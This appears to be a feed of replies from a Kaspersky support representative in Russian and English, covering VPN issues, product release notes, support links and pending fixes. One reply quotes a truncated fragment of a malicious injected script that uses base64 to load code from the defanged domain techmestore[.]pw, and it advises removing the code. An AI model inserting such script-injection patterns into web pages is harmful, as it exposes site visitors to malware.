Danila T.

Т.е. при включенном VPN у Вас возникает данная проблема? Если да, то через какой сервер VPN устанавливается VPN соединение? Пока, по описанию, не ясна взаимосвязь наших продуктов с Вашей проблемой.

Добрый день, Уточните - у Вас установлен один из наших продуктов? Какой?

Kaspersky Endpoint Security 11.10.0 for Windows offers the following features and improvements: Support of third-party credential providers for Single Sign-On with Kaspersky Full Disk Encryption is added. Kaspersky Endpoint Security monitors the user’s password for ADSelfService Plus and updates the data for Authentication Agent if the user, for example, changes his password. The option to enable display of threats detected by Cloud Sandbox technology has been added. This technology is available to users of Endpoint Detection and Response solutions (EDR Optimum or EDR Expert). Cloud Sandbox is a technology that allows you to run files in an isolated environment to analyze behavior and detect malicious activity. Additional information about files has been added to alert details for EDR Optimum users. Alert details now include information about the trust group, digital signature and distribution of the file, and other information. You will also be able to jump to the detailed file description on the Kaspersky Threat Intelligence Portal (KL TIP) directly from alert details. Application performance has been improved. To do this, we optimized the operation of the background scan and added the ability to queue scan tasks if scan is already running. Download

Hi all! We investigate this problem. Thank you!

Hi all, Our product supports Disney+ via any VPN server, but only the USA library will be available.

Hello, At the moment everything should work via VPN servers UK, USA and JP (directories of these countries are available).

Доброе утро. Техподдержка продолжает оказывать помощь пользователям. Сроки ответов зависят от типа запроса и от наличия контракта на расширенную поддержку: https://support.kaspersky.ru/corporate/msa . Тем пользователям, кто не приобрел MSA пакет услуг, поддержка старается отвечать в кратчайшие разумные сроки. И мы постоянно работаем над этим. В любом случае спасибо за Ваш отзыв, это помогает нам стать лучше. P.S. Добавлю - Вы также можете задать вопрос свой и тут на форуме, по проблеме, возможно кто то из форумчан уже сталкивался с аналогичной проблемой и знает решение. Для этого форум и существует. ?

@Namata Доброго времени суток! Проблема должна быть исправлена в актуальной версии KPM Mac.

Добрый день, Свяжитесь пожалуйста с поддержкой: https://support.kaspersky.com/b2c В своем запросе, вместе с описанием проблемы, приложите данный отчет: https://support.kaspersky.ru/common/diagnostics/3632 Коллеги посмотрят. Спасибо!

Получили ответ: Детектирование корректно. Trojan.JS.Infect.i Срабатывание происходит на зараженный скрипт (вредоносный код находится в самой последней строчке s=document.createElement(`script`);s.src=atob(`aHR0), который подгружает вредоносные скрипты с домена techmestore[.]pw, который блокируется с 1 июля. Если Вы являетесь вебмастером сайта, рекомендуется удалить данный участок кода с вашей страницы и обновить Битрикс. Настоятельно советуем Вам сменить логин/пароль для доступа к сайту, поскольку эти данные могут быть украдены злоумышленниками.

Добрый день, Анализируем. Как будут новости - сообщу.

@InferNo Доброго времени суток! Проблема и началась после обновления баз. Как писал выше - проблема найдена и скоро выпустим фикс вместе с базами (т.е. достаточно будет обновить базы продукта).

Hello @nabeel! If you installed the distributive downloaded from our official commercial website - this is the release version.

Доброе утро. В ближайшее время выпустим фикс вместе с базами. Спасибо.

Hi! The cause has been found and fixed. The fix will be available to all users shortly. It will be delivered via a database update

Hello, We are working on a solution for this problem. We will let you know as soon as there is any new information. Thanks.

Hello, We will be in contact with you soon for further details.

Hello! Yes, we'll be sure to let you know.

Hello, Thanks for feedback. We are analysing the problem.

Good afternoon, The problem has been reproduced and a fix is being issued as soon as possible. We apologise for the inconvenience.

Добрый день, Мы воспроизвели проблему и занимаемся скорейшим выпуском исправления. Приносим извинения за доставленные неудобства.

Hi all! We are analysing this problem. Thank you.

Имелось ввиду файлы разделить на 2 папки и сделать два архива из них.

Добрый день. Отправить файлы можно тут: https://opentip.kaspersky.com/ Если не укладываетесь в лимит, то разделите файлы на 2 архива.

Добрый день, Нужно воспользоваться рекомендацией из статьи: https://support.kaspersky.ru/viruses/answers/1870